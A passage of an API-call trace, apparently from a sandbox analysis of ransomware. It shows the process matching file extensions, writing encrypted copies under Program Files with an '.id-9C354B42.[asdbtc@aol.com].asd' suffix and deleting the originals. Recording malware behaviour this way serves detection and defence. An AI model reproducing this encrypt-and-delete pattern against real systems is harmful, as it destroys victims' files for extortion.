Shared\\ink\\en-US\\correct.avi") returned 68 [0045.192] lstrlenW (lpString=".dbf") returned 4 [0045.192] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0045.192] lstrlenW (lpString=".1cd") returned 4 [0045.192] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0045.192] lstrlenW (lpString=".jpg") returned 4 [0045.193] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0045.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0045.193] lstrlenW (lpString=".doc") returned 4 [0045.193] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.193] lstrlenW (lpString=".docx") returned 5 [0045.193] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0045.193] lstrlenW (lpString=".pdf") returned 4 [0045.193] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.193] lstrlenW (lpString=".xls") returned 4 [0045.193] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.193] lstrlenW (lpString=".xlsx") returned 5 [0045.193] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0045.193] lstrlenW (lpString=".ppt") returned 4 [0045.193] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0045.193] lstrlenW (lpString=".zip") returned 4 [0045.193] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.193] lstrlenW (lpString=".rar") returned 4 [0045.193] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.193] lstrlenW (lpString=".bz2") returned 4 [0045.193] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.193] lstrlenW (lpString=".7z") returned 3 [0045.193] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0045.193] lstrlenW (lpString=".dbf") returned 4 [0045.193] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0045.193] lstrlenW (lpString=".1cd") returned 4 [0045.193] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0045.193] lstrlenW (lpString=".jpg") returned 4 [0045.193] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.194] lstrcmpiW (lpString1=".avi", lpString2=".asd") returned 1 [0045.194] lstrlenW (lpString="delete.avi") returned 10 [0045.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.195] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=224256) returned 1 [0045.195] CloseHandle (hObject=0x19c) returned 1 [0045.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0045.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0045.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0045.195] lstrlenW (lpString=".doc") returned 4 [0045.195] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.195] lstrlenW (lpString=".docx") returned 5 [0045.195] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0045.195] lstrlenW (lpString=".pdf") returned 4 [0045.195] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.196] lstrlenW (lpString=".xls") returned 4 [0045.196] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.196] lstrlenW (lpString=".xlsx") returned 5 [0045.196] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0045.196] lstrlenW (lpString=".ppt") returned 4 [0045.196] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0045.196] lstrlenW (lpString=".zip") returned 4 [0045.196] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.196] lstrlenW (lpString=".rar") returned 4 [0045.196] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.196] lstrlenW (lpString=".bz2") returned 4 [0045.196] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.196] lstrlenW (lpString=".7z") returned 3 [0045.196] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0045.196] lstrlenW (lpString=".dbf") returned 4 [0045.196] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.757] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 [0048.482] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.482] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.501] GetLastError () returned 0x0 [0048.502] ReadFile (in: hFile=0x1e8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x545, lpOverlapped=0x0) returned 1 [0048.503] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x550, lpOverlapped=0x0) returned 1 [0048.504] ReadFile (in: hFile=0x1e8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.504] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xee, lpOverlapped=0x0) returned 1 [0048.504] SetEndOfFile (hFile=0x1ec) returned 1 [0048.505] CloseHandle (hObject=0x1ec) returned 1 [0048.530] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.530] SetEndOfFile (hFile=0x1e8) returned 1 [0048.531] CloseHandle (hObject=0x1e8) returned 1 [0048.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0048.531] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0048.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0048.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0048.532] lstrlenW (lpString=".doc") returned 4 [0048.532] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.532] lstrlenW (lpString=".docx") returned 5 [0048.532] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0048.532] lstrlenW (lpString=".pdf") returned 4 [0048.532] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.532] lstrlenW (lpString=".xls") returned 4 [0048.532] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.532] lstrlenW (lpString=".xlsx") returned 5 [0048.532] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0048.532] lstrlenW (lpString=".ppt") returned 4 [0048.532] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0048.532] lstrlenW (lpString=".zip") returned 4 [0048.532] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.532] lstrlenW (lpString=".rar") returned 4 [0048.532] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.532] lstrlenW (lpString=".bz2") returned 4 [0048.532] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.532] lstrlenW (lpString=".7z") returned 3 [0048.532] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0048.532] lstrlenW (lpString=".dbf") returned 4 [0048.532] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0048.532] lstrlenW (lpString=".1cd") returned 4 [0048.532] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0048.533] lstrlenW (lpString=".jpg") returned 4 [0048.533] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0048.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0048.533] lstrlenW (lpString=".doc") returned 4 [0048.533] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.533] lstrlenW (lpString=".docx") returned 5 [0048.533] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0048.533] lstrlenW (lpString=".pdf") returned 4 [0048.533] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.533] lstrlenW (lpString=".xls") returned 4 [0048.533] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.533] lstrlenW (lpString=".xlsx") returned 5 [0048.533] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0048.533] lstrlenW (lpString=".ppt") returned 4 [0048.533] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0048.533] lstrlenW (lpString=".zip") returned 4 [0048.533] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.533] lstrlenW (lpString=".rar") returned 4 [0048.533] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.533] lstrlenW (lpString=".bz2") returned 4 [0048.533] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.533] lstrlenW (lpString=".7z") returned 3 [0048.533] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0048.533] lstrlenW (lpString=".dbf") returned 4 [0048.533] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0048.533] lstrlenW (lpString=".1cd") returned 4 [0048.534] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0048.534] lstrlenW (lpString=".jpg") returned 4 [0048.534] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.534] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0048.534] lstrlenW (lpString="SETUP.XML") returned 9 [0048.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.535] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=2296) returned 1 [0048.535] CloseHandle (hObject=0x1e8) returned 1 [0048.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0048.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0048.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.535] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.535] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.537] GetLastError () returned 0x0 [0048.537] ReadFile (in: hFile=0x1e8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0048.539] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x900, lpOverlapped=0x0) returned 1 [0048.540] ReadFile (in: hFile=0x1e8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.540] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0048.540] SetEndOfFile (hFile=0x1ec) returned 1 [0048.540] CloseHandle (hObject=0x1ec) returned 1 [0048.541] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.541] SetEndOfFile (hFile=0x1e8) returned 1 [0048.541] CloseHandle (hObject=0x1e8) returned 1 [0048.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0048.542] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0048.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0048.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0048.544] lstrlenW (lpString=".doc") returned 4 [0048.544] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.544] lstrlenW (lpString=".docx") returned 5 [0048.544] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0048.544] lstrlenW (lpString=".pdf") returned 4 [0048.544] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.544] lstrlenW (lpString=".xls") returned 4 [0048.544] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.544] lstrlenW (lpString=".xlsx") returned 5 [0048.544] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0048.544] lstrlenW (lpString=".ppt") returned 4 [0048.544] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0048.545] lstrlenW (lpString=".zip") returned 4 [0048.545] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.545] lstrlenW (lpString=".rar") returned 4 [0048.545] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.545] lstrlenW (lpString=".bz2") returned 4 [0048.545] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.545] lstrlenW (lpString=".7z") returned 3 [0048.545] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0048.545] lstrlenW (lpString=".dbf") returned 4 [0048.545] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0048.545] lstrlenW (lpString=".1cd") returned 4 [0048.545] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0048.545] lstrlenW (lpString=".jpg") returned 4 [0048.545] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0048.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0048.545] lstrlenW (lpString=".doc") returned 4 [0048.545] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.545] lstrlenW (lpString=".docx") returned 5 [0048.545] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0048.545] lstrlenW (lpString=".pdf") returned 4 [0048.545] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.545] lstrlenW (lpString=".xls") returned 4 [0048.545] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.545] lstrlenW (lpString=".xlsx") returned 5 [0048.545] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0048.545] lstrlenW (lpString=".ppt") returned 4 [0048.545] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0048.546] lstrlenW (lpString=".zip") returned 4 [0048.546] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.546] lstrlenW (lpString=".rar") returned 4 [0048.546] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.546] lstrlenW (lpString=".bz2") returned 4 [0048.546] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.546] lstrlenW (lpString=".7z") returned 3 [0048.546] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0048.546] lstrlenW (lpString=".dbf") returned 4 [0048.546] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0048.546] lstrlenW (lpString=".1cd") returned 4 [0048.546] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0048.546] lstrlenW (lpString=".jpg") returned 4 [0048.546] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.546] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0048.546] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0048.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.547] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=913) returned 1 [0048.547] CloseHandle (hObject=0x1e8) returned 1 [0048.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0048.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0048.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.547] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.547] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.549] GetLastError () returned 0x0 [0048.549] ReadFile (in: hFile=0x1e8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x391, lpOverlapped=0x0) returned 1 [0048.550] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0048.551] ReadFile (in: hFile=0x1e8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) 